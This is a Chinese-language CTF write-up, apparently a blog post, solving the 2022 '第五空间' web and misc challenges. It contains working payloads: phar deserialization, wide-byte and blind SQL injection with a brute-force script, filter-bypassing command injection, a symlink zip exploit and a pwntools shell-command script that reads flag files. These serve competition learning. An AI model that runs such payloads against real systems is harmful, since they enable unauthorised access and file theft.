• 2022第五空间WEB&MISC


    WEB

    5_web_BaliYun

    扫描目录存在www.zip,下载后解压得到源码。
    限制了上传文件的后缀

    image-20220919155614953

    同时类中存在文件读取函数,很容易联想到phar反序列化

    首先生成phar

    
    class upload{
         public $filename="/flag";
    }
    $p = new upload();
    $phar = new Phar("test.phar");
    $phar->startBuffering();
    $phar->setStub("");
    $phar->setMetadata($p);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
    ?>
    
    

    将生成的文件后缀改为test.png,上传后利用file_exists触发

    image-20220919155750284

    img_name=phar:///var/www/html/upoload/test.png

    5_easylogin

    只有用户名为admin时会显示密码错误,不过尝试闭合一直没成功,怀疑是被转义了,试了下宽字节注入,可以成功显示报错。

    image-20220919160107455

    先来尝试登录成功,or和and都被过滤了,这里可以用^

    正常情况下^0即可登录成功,但是依然显示密码错误。

    那么有可能是先查询出密码在和我们输入的密码进行md5比较,所以通过union构造一个password就可以了。

    这里面union和select都被替换成空了,不过可以双写绕过。

    payload

    password=1&username=admin%df%27ununionion%09seselectlect%091,1,0x6334636134323338613062393233383230646363353039613666373538343962#

    5_web_Eeeeasy_SQL

    一道sql注入题,过滤了单双引号,所以想到的闭合方式就只剩反斜杠转义了。

    先尝试利用or 1登录

    image-20220919152734674

    经过测试万能密码也会显示用户名密码错误,得找个其他的回显,当sql语句报错时,页面会不显示任何内容。

    if被过滤了可以使用case when语句绕过

    substr mid被过滤了可以用isstr绕过

    空格被过滤了可以用%09代替

    最后就是怎么让他既能报错也能显示密码错误。

    这里方法还是挺多的,比如pow(1000000,10000),cot(0),exp(100000)

    注入脚本如下

    import requests
    import string
    s=string.printable
    print(s)
    url = "http://39.107.78.119:25912/api/api.php?command=login"
    x=''
    for i in range(1,30):
        print(i)
        for j in range(32,127):
            t = ''.join(hex(ord(c))[2:] for c in (x+chr(j)))
            data={'username':'\\',
            #'password':f'or(case(instr(binary(username),0x{t}))when(1)then(cot(0))else(1)end)#'}
            'password':f'or(case(instr(binary(password),0x{t}))when(1)then(cot(0))else(1)end)#'}
            
            r=requests.post(url,data=data,allow_redirects=False)
            if "success" not in r.text:
                print(t)
                x+=chr(j)
                break
    #Flag_Account
    #G1ve_Y0u_@_K3y_70_937_f14g!!!
    

    得到用户名Flag_Account,密码G1ve_Y0u_@_K3y_70_937_f14g!!!

    登录之后访问/api/flag.php

    得到源码如下

    image-20220919153152963

    尝试读取/flag,但是/flag被过滤了,不过过滤语法是用的^也就是不能使用/flag开头,使用//flag即可绕过

    payload:file=//flag

    5_web_letmeguess_1

    题目提示弱密码,那直接弱密码爆破了

    image-20220919152503156

    爆破出密码为admin123

    登录之后,后面是个命令执行

    过滤了分号用%0a代替,过滤了空格用%09代替

    首先ls看到当前目录下有个kylin

    image-20220919152103862

    但是不知道这是个文件夹还是文件,直接打开没有内容,猜测是文件夹。

    image-20220919152225507

    过滤了/那就先cd进去再打开

    image-20220919152302705

    Payload:ip=%0acd%09k*%0atac%09*

    MISC

    5_简单的Base

    直接16进制解码就可以了

    sakana_reveage

    下载附件后源码分析

    可以上传普通文件或者zip文件,但是普通文件需要sakana开头。

    后面还有解压以及下载文件的功能

    很容易联想到ctf中常考的软链接,但是有过滤

    image-20220919174949381

    不过代码上有个逻辑错误

    image-20220919175012219

    base64内容有问题时没有直接退出,而是进入进入到了subprocess.run中,执行了unzip命令。

    假设我们输入错误的base64会出现如下错误

    image-20220919175138106

    会去找/tmp/sakanas.zip.zip或者/tmp/sakanas.zip.Zip。

    而在1选项中,我们可以上传文件,并且存在目录穿越,这样就可以创建一个/tmp/sakanas.zip.zip文件。

    unzip还有个问题,当压缩包中文件头前面有其他内容时,会继续解压。

    1、本地生成带软链接的zip压缩包

    echo 123 > /flag
    ln -s /flag f
    zip --symlinks flag.zip f
    

    2、放入010editor中加入sakana

    3、将文件base64编码后上传

    image-20220919175602309

    4、通过base64报错让程序解压上传的文件

    image-20220919175658185

    5、下载flag

    image-20220919175724510

    5_Misc_m@sTeR_0f

    payload

    from pwn import *
    p = remote('123.56.174.142', 5702)
    payload = "-interactive"
    p.sendlineafter(' command --->>', payload)
    p.sendline('.shell cat /flag.txt;')
    p.sendline('.quit')
    p.interactive()
    

    利用-interactive强制进行交互IOimage-20220919181010931

    .shell来执行系统命令,.quit退出

    image-20220919181826436

  • 相关阅读:
    用powerquery实现SQL开窗函数取数功能
    springBoot Event实现异步消费机制
    SCHNOKA施努卡:基于机器视觉的表面缺陷检测方法有哪些
    鸡卵清白蛋白偶联维生素A(VA-OVA),Vitamin A-Ovalbumin Conjugate
    BP神经网络算法基本原理,BP神经网络计算过程
    强引用、软引用、弱引用、幻象引用有什么区别?
    Web应用-Thinkphp框架-开发指南
    理解RESTful Api设计
    基于脑机接口的人机共享控制技术研究
    ElasticSearch总结
  • 原文地址:https://blog.csdn.net/miuzzx/article/details/126942868